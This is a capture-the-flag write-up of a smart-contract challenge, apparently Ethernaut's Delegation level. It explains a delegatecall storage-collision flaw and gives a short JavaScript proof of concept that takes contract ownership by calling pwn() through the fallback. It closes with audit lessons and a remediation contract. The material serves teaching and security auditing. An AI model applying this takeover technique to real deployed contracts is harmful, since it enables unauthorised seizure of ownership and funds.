👥 Delegation - The Delegatecall Takeover

Challenge Overview

The goal of this level is to claim ownership of the Delegation contract.

The Catch: We are given a Delegation contract that does not directly expose any ownership modification functions. However, it references a helper contract called Delegate and forwards unrecognized calls to it.

Technical Analysis

Vulnerability: Uncontrolled Delegatecall to Target Contract

The Delegation contract utilizes a fallback function that forwards raw input calldata to the Delegate contract:

1
fallback() external {
2
    (bool result,) = address(delegate).delegatecall(msg.data);
3
    if (result) {
4
        this;
5
    }
6
}

The Root Cause

The vulnerability stems from the use of delegatecall on arbitrary user data (msg.data):

1. delegatecall Context: Unlike call, delegatecall runs the code of the target contract (Delegate) inside the context of the calling contract (Delegation). This means that msg.sender, msg.value, and critically, the storage space of Delegation are used during execution.
2. Storage Layout Alignment: Both contracts define owner in storage slot 0:
   • Delegate slot 0: owner
   • Delegation slot 0: owner
3. Target Function: The Delegate contract has a public pwn() function:

   1
   function pwn() public {
   2
       owner = msg.sender;
   3
   }

When we invoke Delegation with the calldata keccak256("pwn()"):

1. The fallback function in Delegation captures the call.
2. It delegatecalls Delegate with msg.data containing the selector for pwn().
3. The Delegate contract’s pwn() logic executes inside the context of Delegation.
4. It sets slot 0 (owner in Delegation) to msg.sender (the player EOA).

The Exploit: The Multi-Step Solution

1. Calculate the Method Selector: Calculate the first 4 bytes of keccak256("pwn()") (which is 0xdd365b8b).
2. Send Raw Transaction: Send a transaction to the Delegation contract with empty value and the calldata set to 0xdd365b8b.
3. Verify Takeover: Check that Delegation.owner has been updated to the player address.

Proof of Concept (PoC)

Below is the JavaScript console walkthrough:

1
// Calculate the selector of pwn() and send a transaction triggering the fallback
2
await sendTransaction({
3
  from: player,
4
  to: contract.address,
5
  data: web3.utils.sha3("pwn()").substring(0, 10) // 0xdd365b8b
6
});
7

8
// Verify ownership transition
9
const currentOwner = await contract.owner();
10
console.log("Is player owner?", currentOwner === player);

Auditor’s Lessons

1. Delegatecall is Dangerous: delegatecall effectively hands over absolute root privileges of your contract’s storage to the target. Never use delegatecall with untrusted target addresses or permit arbitrary calldata forwarding without strict access control.
2. Storage Layout Collision: When using proxy patterns or delegatecalls, you must ensure the storage layouts of both contracts match perfectly. A collision can lead to unintended state corruption or ownership hijacking.
3. Validate Selector Execution: If forwarding calls via fallback, restrict which function selectors are permitted to prevent calling critical initialization or administrative functions.

Remediation

Avoid using delegatecall for generic or untrusted proxy setups. If an upgradeable proxy pattern is required, use industry-standard proxy libraries (such as OpenZeppelin’s proxy contracts) and restrict storage access using explicit access modifiers:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract SecureDelegation {
5
    address public owner;
6
    address public delegate;
7

8
    constructor(address _delegate) {
9
        delegate = _delegate;
10
        owner = msg.sender;
11
    }
12

13
    modifier onlyOwner() {
14
        require(msg.sender == owner, "Not owner");
15
        _;
16
    }
17

18
    // Direct, explicit calls instead of delegating raw inputs
19
    function upgradeDelegate(address _newDelegate) external onlyOwner {
20
        delegate = _newDelegate;
21
    }
22
}